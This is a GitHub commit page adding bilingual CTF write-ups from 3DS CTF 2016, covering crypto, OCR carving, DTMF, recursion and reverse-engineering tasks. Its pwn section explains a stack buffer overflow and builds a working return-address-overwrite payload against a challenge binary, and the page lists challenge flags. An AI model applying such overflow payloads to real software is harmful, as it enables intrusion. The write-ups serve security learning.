Skip to content

Commit a0d00d0

Browse files
committedDec 25, 2016
added 3ds writeups
1 parent 3b2e6bc commit a0d00d0

File tree

15 files changed

+850
-0
lines changed

15 files changed

+850
-0
lines changed
 
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
# Rot13 (crypto 100)
2+
3+
###ENG
4+
[PL](#pl-version)
5+
6+
We get `3QF{gu1f_e0g_1f_a0g_f0_U0g}` as ciphertext.
7+
It looks like some substitution cipher working only on letters, so we assume a caesar (the task name was not rot13, I just don't remember it right now!).
8+
So after running caesar solver on this we get the flag `3DS{th1s_r0t_1s_n0t_s0_H0t}` for shift 13.
9+
10+
###PL version
11+
12+
Dostajemy ciphertext `3QF{gu1f_e0g_1f_a0g_f0_U0g}`.
13+
Wygląda to jak szyfr podstawieniowy działający tylko dla liter, więc założyliśmy cezara (nazwa zadania to nie było ro13, ale zwyczajnie nie pamiętam nazwy!).
14+
Więc po uruchomieniu solvera dla cezara dostajemy flagę `3DS{th1s_r0t_1s_n0t_s0_H0t}` dla shiftu 13.
40.3 KB
Loading
Loading

‎2016-12-17-3dsctf/crypto_200_unbreakable/README.md

+238
Large diffs are not rendered by default.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,161 @@
1+
# What the hex (for 300)
2+
3+
###ENG
4+
[PL](#pl-version)
5+
6+
In the task we get a large binary file (too large to put here, sorry).
7+
We notice that the file is in fact a 3000 concatenated JPG files with missing headers.
8+
We fix them and split with a script:
9+
10+
```python
11+
s = open("massa.raw", "rb").read().decode("hex")
12+
r = s.split("FIF\x00")
13+
for i in range(1, 3001):
14+
open("out/" + str(i) + ".jpg", "wb").write("\xff\xd8\xff\xe0\x00\x10JFIF\x00" + r[i])
15+
```
16+
17+
And this way we get 3000 files looking like this:
18+
19+
![](1.jpg)
20+
21+
It's quite clear that the `flag` in the picture has incorrect format.
22+
We assume that there is one flag with proper format somewhere, but who would look for it by hand?
23+
Instead we used pytesseract to OCR each file and look for something more like the flag.
24+
Tesseract had some issues with reading blue letters on blue background, so we made it black and white with Pillow first:
25+
26+
```python
27+
import codecs
28+
import io
29+
import math
30+
from multiprocessing import freeze_support
31+
from PIL import Image
32+
from pytesseract import pytesseract
33+
from crypto_commons.brute.brute import brute
34+
35+
36+
def similar(color1, color2):
37+
return sum([math.fabs(color1[i] - color2[i]) for i in range(3)]) < 50
38+
39+
40+
def black_and_white(im, filling):
41+
black = (0, 0, 0)
42+
white = (255, 255, 255)
43+
pixels = im.load()
44+
for i in range(im.size[0]):
45+
for j in range(im.size[1]):
46+
color = pixels[i, j]
47+
if similar(color, filling):
48+
pixels[i, j] = white
49+
else:
50+
pixels[i, j] = black
51+
52+
53+
def worker(i):
54+
with codecs.open("C:\\Users\\PC\\Desktop\\3ds\\outp\\" + str(i) + ".jpg", "rb")as f:
55+
image_file = io.BytesIO(f.read())
56+
im = Image.open(image_file)
57+
im = im.convert('RGB')
58+
black_and_white(im, (173, 217, 230))
59+
text = pytesseract.image_to_string(im, config="-psm 8")
60+
print(i, text)
61+
if not text.startswith("3dsctf"):
62+
im.show()
63+
print('real flag', i, text)
64+
65+
66+
def main():
67+
brute(worker, range(1, 3001))
68+
69+
70+
if __name__ == '__main__':
71+
freeze_support()
72+
main()
73+
```
74+
75+
By running this in paralell with our crypto-commons multiprocessing brute we get the results pretty fast and the only result we get is:
76+
77+
![](2365.jpg)
78+
79+
There was a very nasty twist here, because the actual flag was supposed to contain large `O` and small `L`.
80+
While the `L` is reasonable, since both large `i` and small `L` look alike, using large `O` where in the picture it's pretty clear that we have `0` is just a dick move.
81+
82+
Anyway the actual flag was `3DS{u_5hOuIdv3_7ried_tesseract}`
83+
84+
###PL version
85+
86+
W zadaniu dostajemy duży plik binarny (za dużo żeby to wrzucić, przepraszamy).
87+
Zauważamy, ze plik to w rzeczywistości sklejone ze sobą 3000 plików JPG bez headerów.
88+
Poprawiamy je i dzielimy za pomocą:
89+
90+
```python
91+
s = open("massa.raw", "rb").read().decode("hex")
92+
r = s.split("FIF\x00")
93+
for i in range(1, 3001):
94+
open("out/" + str(i) + ".jpg", "wb").write("\xff\xd8\xff\xe0\x00\x10JFIF\x00" + r[i])
95+
```
96+
97+
I tym sposobem dostajemy 3000 plików wyglądajacych tak:
98+
99+
![](1.jpg)
100+
101+
Jest dość jasne, że `flaga` na obrazku ma niepoprawny format.
102+
Zakładamy że jest tam gdzieś jedna poprawna flaga, ale kto by jej szukał ręcznie?
103+
Zamiast tego używamy pytesseract żeby OCRować pliki i szukać czegoś co bardziej przypomina flagę.
104+
Tesseract miał jakieś problemy z niebieskimi napisami na niebieskim tle więc zmieniliśmy obrazki na czarno-białe za pomocą Pillow:
105+
106+
```python
107+
import codecs
108+
import io
109+
import math
110+
from multiprocessing import freeze_support
111+
from PIL import Image
112+
from pytesseract import pytesseract
113+
from crypto_commons.brute.brute import brute
114+
115+
116+
def similar(color1, color2):
117+
return sum([math.fabs(color1[i] - color2[i]) for i in range(3)]) < 50
118+
119+
120+
def black_and_white(im, filling):
121+
black = (0, 0, 0)
122+
white = (255, 255, 255)
123+
pixels = im.load()
124+
for i in range(im.size[0]):
125+
for j in range(im.size[1]):
126+
color = pixels[i, j]
127+
if similar(color, filling):
128+
pixels[i, j] = white
129+
else:
130+
pixels[i, j] = black
131+
132+
133+
def worker(i):
134+
with codecs.open("C:\\Users\\PC\\Desktop\\3ds\\outp\\" + str(i) + ".jpg", "rb")as f:
135+
image_file = io.BytesIO(f.read())
136+
im = Image.open(image_file)
137+
im = im.convert('RGB')
138+
black_and_white(im, (173, 217, 230))
139+
text = pytesseract.image_to_string(im, config="-psm 8")
140+
print(i, text)
141+
if not text.startswith("3dsctf"):
142+
im.show()
143+
print('real flag', i, text)
144+
145+
146+
def main():
147+
brute(worker, range(1, 3001))
148+
149+
150+
if __name__ == '__main__':
151+
freeze_support()
152+
main()
153+
```
154+
155+
Uruchamiając to równolegle z naszym brute z crypto-commons dostajemy dość szybko wyniki i jedyne trafienie to:
156+
157+
![](2365.jpg)
158+
159+
Było tutaj dość nieładne zagranie ze strony organizatorów, bo flaga miała zawierać duże `O` oraz małe `L`.
160+
O ile `L` jest sensowne, bo duże `i` oraz małe `L` wyglądają tak samo, użycie dużego `O` podczas gdy na obrazku ewidentnie mamy `0` to po prostu zagranie poniżej pasa.
161+
Tak czy siak końcowa flaga to `3DS{u_5hOuIdv3_7ried_tesseract}`
+30
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
# HALP (network 300)
2+
3+
###ENG
4+
[PL](#pl-version)
5+
6+
In the task we get a [pcap file](transmission.pcap).
7+
The file is from some VoIP call.
8+
If we analyse the RTP streams and use VoIP feature of Wireshark to play the streams it can find, we will hear someone connecting to an automatic response machine, and then typing a number with dial tones:
9+
10+
![](voip.png)
11+
12+
We extracted the dial-tones to a [file](dtm.flac) and then used DTMF decoder Audacity Plugin to recognize the keys:
13+
14+
![](dtmf.png)
15+
16+
I was confused what to do next, but my level headed friend just tried simply `3DS{4952061545946271}` as the flag, and it worked.
17+
18+
###PL version
19+
20+
W zadaniu dostajemy [plik pcap](transmission.pcap).
21+
Jest to zapis z rozmowy VoIP.
22+
Jeśli przeanalizujemy strumienie RTP i użyjemy później narzędzi Wiresharka do analizy VoIP, znajdziemy zapis audio z połączenia do jakiegoś automatycznego systemu odpowiedzi, a następnie wystukanie na klawiaturze tonowej jakichś cyfr:
23+
24+
![](voip.png)
25+
26+
Wyciągnęliśmy same tony do osobnego [pliku](dtm.flac) a następnie użyliśmy pluginu do Audacity DTMF decoder żeby rozpoznać klawisze:
27+
28+
![](dtmf.png)
29+
30+
Miałem w tej chwili zagwoztkę co zrobić dalej, ale jeden z moich kolegów spróbował wpisać po prostu `3DS{4952061545946271}` jako flagę i zadziałało.
668 KB
Binary file not shown.
27.6 KB
Loading
Binary file not shown.
178 KB
Loading
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
# Fibonacci (ppc 400)
2+
3+
###ENG
4+
[PL](#pl-version)
5+
6+
The task is pretty simple.
7+
The server asks us how many recursions we need to compute N-th fibonacci number (using recursive algorithm).
8+
For some reason we could spend 25s on each question, which was a bit silly considering we could just pre-compute the results instantly in a fraction of a second.
9+
10+
We can compute this using a dynamic algorithm.
11+
First two fibonacci numbers require 0 recursions, and k-th number require as many recursions as calculating k-2-th number + 1 (1 because we are calling fib(k-2)), plus calculating k-1-th number plus 1 (again 1 because we are calling fib(k-1)).
12+
And we can compute this iteratively from the bottom.
13+
So in general:
14+
15+
```python
16+
calls = [0, 0] + [0] * (n + 1)
17+
for i in range(2, n + 1):
18+
calls[i] = calls[i - 1] + calls[i - 2] + 2
19+
```
20+
21+
We started by pre-computing results for the first 1000 numbers, but this as already an overkill because the largest tests were less than 500.
22+
Running this on 100 tests gives the flag: `3DS{g00d4lgorithmsC4nSaveYourTime}`
23+
24+
###PL version
25+
26+
Zadanie było dość proste.
27+
Serwer pytał ile wywołań rekurencyjnych potrzeba zeby policzyć N-tą liczbę fibonacciego (używając algorytmu rekurencyjnego).
28+
Z jakiegoś powodu mogliśmy użyć aż 25s na jedno pytanie, co było dość dziwne biorąc pod uwagę że można było wyliczyć sobie wcześniej tablicę rozwiązań w ułamku sekundy.
29+
30+
Możemy policzyć rozwiązanie algorytmem dynamicznym.
31+
Pierwsze dwie liczby wymagają 0 rekurencji a k-ta liczba wymaga tyle rekurencji ile policzenie liczby k-2 plus 1 (1 bo wywołujemy fib(k-2)), plus ile policzenie liczby k-1 plus 1 (znowu 1 bo wywyłujemy fib(k-1)).
32+
Czyli generalnie:
33+
34+
```python
35+
calls = [0, 0] + [0] * (n + 1)
36+
for i in range(2, n + 1):
37+
calls[i] = calls[i - 1] + calls[i - 2] + 2
38+
```
39+
40+
Zaczęliśmy przez wyliczenie rozwiazań dla pierwszego 1000 liczb bo okazało się przeszacowaniem, ponieważ największy test miał nie więcej niż 500.
41+
Uruchomienie tego dla 100 testów dało nam flagę: `3DS{g00d4lgorithmsC4nSaveYourTime}`
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,220 @@
1+
# Get started (pwn 100)
2+
3+
###ENG
4+
[PL](#pl-version)
5+
6+
In the task we get an ELF [binary](get_started) to work with.
7+
Ret-dec results are:
8+
9+
```c
10+
int main(int argc, char ** argv) {
11+
printf("Qual a palavrinha magica? ");
12+
int32_t str;
13+
gets((char *)&str);
14+
return 0;
15+
}
16+
```
17+
18+
So not much code is executed, but we can see that there is a blatant stack buffer overflow.
19+
The task description hints that we don't need to get a shell here, everything is in the binary.
20+
So we look at the disassembly and in fact there is:
21+
22+
```asm
23+
; function: get_flag at 0x80489a0 -- 0x8048a1f
24+
0x80489a0: 56 push esi
25+
0x80489a1: 83 ec 08 sub esp, 0x8
26+
0x80489a4: 81 7c 24 10 4f d6 8c 30 cmp dword [ esp + 0x10 ], 0x308cd64f
27+
0x80489ac: 75 67 jnz 0x8048a15 <get_flag+0x75>
28+
0x80489ae: 81 7c 24 14 d1 19 57 19 cmp dword [ esp + 0x14 ], 0x195719d1
29+
0x80489b6: 75 5d jnz 0x8048a15 <get_flag+0x75>
30+
0x80489b8: c7 44 24 04 68 dd 0c 08 mov dword [ esp + 0x4 ], 0x80cdd68 ; "rt"
31+
0x80489c0: c7 04 24 88 c3 0b 08 mov dword [ esp ], 0x80bc388 ; "flag.txt"
32+
0x80489c7: e8 44 6c 00 00 call 0x804f610 <fopen>
33+
0x80489cc: 89 c6 mov esi, eax
34+
0x80489ce: 89 34 24 mov dword [ esp ], esi
35+
0x80489d1: e8 8a 87 00 00 call 0x8051160 <fgetc>
36+
0x80489d6: 0f b6 c8 movzx ecx, al
37+
0x80489d9: 81 f9 ff 00 00 00 cmp ecx, 0xff
38+
0x80489df: 74 2c jz 0x8048a0d <get_flag+0x6d>
39+
0x80489e1: 0f be c8 movsx ecx, al
40+
0x80489e4: 66
41+
0x80489e5: 66
42+
0x80489e6: 66
43+
0x80489e7: 2e
44+
0x80489e8: 0f 1f 84 00 00 00 00 00 nop dword [ eax + eax * 0x0 + 0x0 ]
45+
0x80489f0: 89 0c 24 mov dword [ esp ], ecx
46+
0x80489f3: e8 a8 6d 00 00 call 0x804f7a0 <putchar>
47+
0x80489f8: 89 34 24 mov dword [ esp ], esi
48+
0x80489fb: e8 60 87 00 00 call 0x8051160 <fgetc>
49+
0x8048a00: 0f be c8 movsx ecx, al
50+
0x8048a03: 0f b6 c0 movzx eax, al
51+
0x8048a06: 3d ff 00 00 00 cmp eax, 0xff
52+
0x8048a0b: 75 e3 jnz 0x80489f0 <get_flag+0x50>
53+
0x8048a0d: 89 34 24 mov dword [ esp ], esi
54+
0x8048a10: e8 bb 67 00 00 call 0x804f1d0 <fclose>
55+
0x8048a15: 83 c4 08 add esp, 0x8
56+
0x8048a18: 5e pop esi
57+
0x8048a19: c3 ret
58+
0x8048a1a: 66
59+
0x8048a1b: 0f 1f 44 00 00 nop dword [ eax + eax * 0x0 + 0x0 ]
60+
```
61+
62+
So we actually already have there a function which will read and print a flag if called.
63+
`Checksec` tells us there are no canaries, so we should be able to use buffer overflow in order to overwrite return address from `main()` and jump to `get_flag` function.
64+
65+
Looking at `main` in assembly shows:
66+
67+
```asm
68+
; function: main at 0x8048a20 -- 0x8048a4f
69+
0x8048a20: 83 ec 3c sub esp, 0x3c
70+
0x8048a23: c7 04 24 91 c3 0b 08 mov dword [ esp ], 0x80bc391 ; "Qual a palavrinha magica? "
71+
0x8048a2a: e8 b1 66 00 00 call 0x804f0e0 <printf>
72+
0x8048a2f: 8d 44 24 04 lea eax, dword [ esp + 0x4 ]
73+
0x8048a33: 89 04 24 mov dword [ esp ], eax
74+
0x8048a36: e8 f5 6b 00 00 call 0x804f630 <function_804f630>
75+
0x8048a3b: 31 c0 xor eax, eax
76+
0x8048a3d: 83 c4 3c add esp, 0x3c
77+
0x8048a40: c3 ret
78+
```
79+
80+
So we can see that stack frame was created with `sub esp, 0x3c` and therefore there are 60 bytes of stack allocated.
81+
4 bytes go for the return address, so we need to overflow 56 bytes in order to get to the return pointer.
82+
83+
We want to change the pointer for address `0x80489a0` which is the start of `get_flag` function.
84+
So the necessary payload is:
85+
86+
`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)`
87+
88+
Keep in mind the reversed byte order for the addresses!
89+
But this is not enough yet.
90+
In the `get_flag` code there is:
91+
92+
```asm
93+
0x80489a4: 81 7c 24 10 4f d6 8c 30 cmp dword [ esp + 0x10 ], 0x308cd64f
94+
0x80489ac: 75 67 jnz 0x8048a15 <get_flag+0x75>
95+
0x80489ae: 81 7c 24 14 d1 19 57 19 cmp dword [ esp + 0x14 ], 0x195719d1
96+
0x80489b6: 75 5d jnz 0x8048a15 <get_flag+0x75>
97+
```
98+
99+
Suffice to say that if we take any of those 2 jumps the application will not read the flag for us.
100+
So we have to make sure that those stack variables carry those specified values.
101+
102+
With the debugger we can quickly calculate that first of those values at `esp + 0x10` is just 4 bytes above the return pointer we just substituted, so we need to extend our payload to:
103+
104+
`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)+"a"*4+chr(0x4f)+chr(0xd6)+chr(0x8c)+chr(0x30)`
105+
106+
to skip the first check.
107+
The next one is at `esp + 0x14` so simply the next 4 bytes, and therefore the final payload requires:
108+
109+
`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)+"a"*4+chr(0x4f)+chr(0xd6)+chr(0x8c)+chr(0x30)+""+chr(0xd1)+chr(0x19)+chr(0x57)+chr(0x19)`
110+
111+
Using the payload we get the flag: `3DS{b0f_pr4_c0m3c4r_n3}`
112+
113+
###PL version
114+
115+
W zadaniu dostajemy ELFową [binarke](get_started).
116+
Wyniki ret-dec:
117+
118+
```c
119+
int main(int argc, char ** argv) {
120+
printf("Qual a palavrinha magica? ");
121+
int32_t str;
122+
gets((char *)&str);
123+
return 0;
124+
}
125+
```
126+
127+
Niewiele wykonywanego kodu, ale widzimy że jest tam ewidentny stack buffer overflow.
128+
Zadanie hintuje, że nie trzeba tu zdobywać shella bo wszystko jest już w binarce.
129+
Więc zaglądamy do deasemblera a tam faktycznie:
130+
131+
```asm
132+
; function: get_flag at 0x80489a0 -- 0x8048a1f
133+
0x80489a0: 56 push esi
134+
0x80489a1: 83 ec 08 sub esp, 0x8
135+
0x80489a4: 81 7c 24 10 4f d6 8c 30 cmp dword [ esp + 0x10 ], 0x308cd64f
136+
0x80489ac: 75 67 jnz 0x8048a15 <get_flag+0x75>
137+
0x80489ae: 81 7c 24 14 d1 19 57 19 cmp dword [ esp + 0x14 ], 0x195719d1
138+
0x80489b6: 75 5d jnz 0x8048a15 <get_flag+0x75>
139+
0x80489b8: c7 44 24 04 68 dd 0c 08 mov dword [ esp + 0x4 ], 0x80cdd68 ; "rt"
140+
0x80489c0: c7 04 24 88 c3 0b 08 mov dword [ esp ], 0x80bc388 ; "flag.txt"
141+
0x80489c7: e8 44 6c 00 00 call 0x804f610 <fopen>
142+
0x80489cc: 89 c6 mov esi, eax
143+
0x80489ce: 89 34 24 mov dword [ esp ], esi
144+
0x80489d1: e8 8a 87 00 00 call 0x8051160 <fgetc>
145+
0x80489d6: 0f b6 c8 movzx ecx, al
146+
0x80489d9: 81 f9 ff 00 00 00 cmp ecx, 0xff
147+
0x80489df: 74 2c jz 0x8048a0d <get_flag+0x6d>
148+
0x80489e1: 0f be c8 movsx ecx, al
149+
0x80489e4: 66
150+
0x80489e5: 66
151+
0x80489e6: 66
152+
0x80489e7: 2e
153+
0x80489e8: 0f 1f 84 00 00 00 00 00 nop dword [ eax + eax * 0x0 + 0x0 ]
154+
0x80489f0: 89 0c 24 mov dword [ esp ], ecx
155+
0x80489f3: e8 a8 6d 00 00 call 0x804f7a0 <putchar>
156+
0x80489f8: 89 34 24 mov dword [ esp ], esi
157+
0x80489fb: e8 60 87 00 00 call 0x8051160 <fgetc>
158+
0x8048a00: 0f be c8 movsx ecx, al
159+
0x8048a03: 0f b6 c0 movzx eax, al
160+
0x8048a06: 3d ff 00 00 00 cmp eax, 0xff
161+
0x8048a0b: 75 e3 jnz 0x80489f0 <get_flag+0x50>
162+
0x8048a0d: 89 34 24 mov dword [ esp ], esi
163+
0x8048a10: e8 bb 67 00 00 call 0x804f1d0 <fclose>
164+
0x8048a15: 83 c4 08 add esp, 0x8
165+
0x8048a18: 5e pop esi
166+
0x8048a19: c3 ret
167+
0x8048a1a: 66
168+
0x8048a1b: 0f 1f 44 00 00 nop dword [ eax + eax * 0x0 + 0x0 ]
169+
```
170+
171+
Więc faktycznie jest tu funkcja czytająca i wypisująca flagę.
172+
`Checksec` mówi że nie ma na stosie kanarków, więc możemy bez problemów przepełnić bufor na stosie aby nadpisać adres powrotu z funkcji `main()` i skoczyć do funkcji `get_flag`.
173+
174+
Jeśli popatrzymy na disasm funkcji main, zobaczymy:
175+
176+
```asm
177+
; function: main at 0x8048a20 -- 0x8048a4f
178+
0x8048a20: 83 ec 3c sub esp, 0x3c
179+
0x8048a23: c7 04 24 91 c3 0b 08 mov dword [ esp ], 0x80bc391 ; "Qual a palavrinha magica? "
180+
0x8048a2a: e8 b1 66 00 00 call 0x804f0e0 <printf>
181+
0x8048a2f: 8d 44 24 04 lea eax, dword [ esp + 0x4 ]
182+
0x8048a33: 89 04 24 mov dword [ esp ], eax
183+
0x8048a36: e8 f5 6b 00 00 call 0x804f630 <function_804f630>
184+
0x8048a3b: 31 c0 xor eax, eax
185+
0x8048a3d: 83 c4 3c add esp, 0x3c
186+
0x8048a40: c3 ret
187+
```
188+
189+
Więc widać że ramka stosu została utworzona przez `sub esp, 0x3c` a więc zaalokowano 60 bajtów na stosie.
190+
4 potrzebne są na adres powrotu, więc musimy przepełnić bufor o 56 bajtów żeby dokopać się do adresu powrotu.
191+
192+
Chcemy zmienić ten adres na `0x80489a0`, czyli na początek funkcji `get_flag`.
193+
To oznacza że potrzebny payload to:
194+
195+
`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)`
196+
197+
Pamiętajmy o odwrotnej kolejności bajtów w adresach!
198+
Ale to jeszcze nie wszystko.
199+
W kodzie `get_flag` mamy:
200+
201+
```asm
202+
0x80489a4: 81 7c 24 10 4f d6 8c 30 cmp dword [ esp + 0x10 ], 0x308cd64f
203+
0x80489ac: 75 67 jnz 0x8048a15 <get_flag+0x75>
204+
0x80489ae: 81 7c 24 14 d1 19 57 19 cmp dword [ esp + 0x14 ], 0x195719d1
205+
0x80489b6: 75 5d jnz 0x8048a15 <get_flag+0x75>
206+
```
207+
208+
Jeśli wykonamy którykolwiek z tych 2 skoków flaga nie zostanie odczytana i wypisana.
209+
Musimy więc tak ustawić zmienne na stosie, żeby ominąć te dwa warunki.
210+
211+
Za pomocą debuggera możemy szybko wyliczyć że pierwsza wartość z `esp + 0x10` jest tylko 4 bajty powyżej adresu powrotu z main który nadpisaliśmy, więc potrzebujemy rozszerzyć nasz payload do:
212+
213+
`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)+"a"*4+chr(0x4f)+chr(0xd6)+chr(0x8c)+chr(0x30)`
214+
215+
aby ominąć pierwszy warunek.
216+
Druga zmienna jest pod `esp + 0x14` więc to po prostu kolejne 4 bajty, więc payload rozszerzamy do:
217+
218+
`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)+"a"*4+chr(0x4f)+chr(0xd6)+chr(0x8c)+chr(0x30)+""+chr(0xd1)+chr(0x19)+chr(0x57)+chr(0x19)`
219+
220+
Wysyłając taki zestaw danych dostajemy: `3DS{b0f_pr4_c0m3c4r_n3}`
Binary file not shown.
+146
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
# merces (re 100)
2+
3+
###ENG
4+
[PL](#pl-version)
5+
6+
In the task we get an ELF [binary](merces) to work with.
7+
W put it in ret-dec and we get a nice decompilation result:
8+
9+
```c
10+
// Address range: 0x804842b - 0x804850a
11+
int32_t flag(int32_t a1, int32_t a2) {
12+
// 0x804842b
13+
int32_t chars_printed; // 0x804850a_2
14+
if (a1 != 42 || a2 < 2) {
15+
// 0x8048452
16+
if (a1 == 42) {
17+
// 0x8048452
18+
chars_printed = g1;
19+
// branch -> 0x8048509
20+
} else {
21+
// 0x80484f5
22+
putchar(51);
23+
putchar(68);
24+
putchar(83);
25+
putchar(123);
26+
putchar(48);
27+
putchar(112);
28+
putchar(49);
29+
putchar(110);
30+
putchar(49);
31+
putchar(64);
32+
printf("_te_");
33+
chars_printed = printf("pr%dnd%d}\n", 3, 3);
34+
// branch -> 0x8048509
35+
}
36+
// 0x8048509
37+
return chars_printed;
38+
}
39+
// 0x804843d
40+
chars_printed = printf("3DS{c0ruj0u}");
41+
// branch -> 0x8048509
42+
// 0x8048509
43+
return chars_printed;
44+
}
45+
46+
// Address range: 0x804850b - 0x804853f
47+
int main(int argc, char ** argv) {
48+
int32_t v1 = argc;
49+
g1 = &v1;
50+
flag(42, argc);
51+
return 0;
52+
}
53+
```
54+
55+
We can see that simply running the binary will return a fake flag `3DS{c0ruj0u}` because the passed parameter is `42`.
56+
We can also see that if we could modify the value passed to the `flag` function, for example with a debugger or by patching the binary, it would print the flag for us.
57+
However, we don't even need that, considering we can see that that flag comes from:
58+
59+
```c
60+
putchar(51);
61+
putchar(68);
62+
putchar(83);
63+
putchar(123);
64+
putchar(48);
65+
putchar(112);
66+
putchar(49);
67+
putchar(110);
68+
putchar(49);
69+
putchar(64);
70+
printf("_te_");
71+
printf("pr%dnd%d}\n", 3, 3)
72+
```
73+
74+
Which evaluates to `3DS{0p1n1@_te_pr3nd3}`.
75+
76+
###PL version
77+
78+
W zadaniu dostajemy ELFową [binarke](merces).
79+
Po wrzuceniu jej do ret-dec dostajemy dość ładny zdekompilowany kod:
80+
81+
```c
82+
// Address range: 0x804842b - 0x804850a
83+
int32_t flag(int32_t a1, int32_t a2) {
84+
// 0x804842b
85+
int32_t chars_printed; // 0x804850a_2
86+
if (a1 != 42 || a2 < 2) {
87+
// 0x8048452
88+
if (a1 == 42) {
89+
// 0x8048452
90+
chars_printed = g1;
91+
// branch -> 0x8048509
92+
} else {
93+
// 0x80484f5
94+
putchar(51);
95+
putchar(68);
96+
putchar(83);
97+
putchar(123);
98+
putchar(48);
99+
putchar(112);
100+
putchar(49);
101+
putchar(110);
102+
putchar(49);
103+
putchar(64);
104+
printf("_te_");
105+
chars_printed = printf("pr%dnd%d}\n", 3, 3);
106+
// branch -> 0x8048509
107+
}
108+
// 0x8048509
109+
return chars_printed;
110+
}
111+
// 0x804843d
112+
chars_printed = printf("3DS{c0ruj0u}");
113+
// branch -> 0x8048509
114+
// 0x8048509
115+
return chars_printed;
116+
}
117+
118+
// Address range: 0x804850b - 0x804853f
119+
int main(int argc, char ** argv) {
120+
int32_t v1 = argc;
121+
g1 = &v1;
122+
flag(42, argc);
123+
return 0;
124+
}
125+
```
126+
127+
Widzimy od razu że samo uruchomienie aplikacji da nam fałszywą flagę `3DS{c0ruj0u}` ponieważ do funkcji flag przekazywany jest argument `42`.
128+
Widzimy też, że moglibyśmy zmodyfikować tą wartość debugerem lub patchując aplikacje i wypisała by dla nas flagę.
129+
Ale nie musimy robić nawet tego, ponieważ widać wyraźnie że prawdziwa flaga wychodzi z:
130+
131+
```c
132+
putchar(51);
133+
putchar(68);
134+
putchar(83);
135+
putchar(123);
136+
putchar(48);
137+
putchar(112);
138+
putchar(49);
139+
putchar(110);
140+
putchar(49);
141+
putchar(64);
142+
printf("_te_");
143+
printf("pr%dnd%d}\n", 3, 3)
144+
```
145+
146+
Co ewaluuje się do `3DS{0p1n1@_te_pr3nd3}`.
5.2 KB
Binary file not shown.

0 commit comments

Comments
 (0)
Please sign in to comment.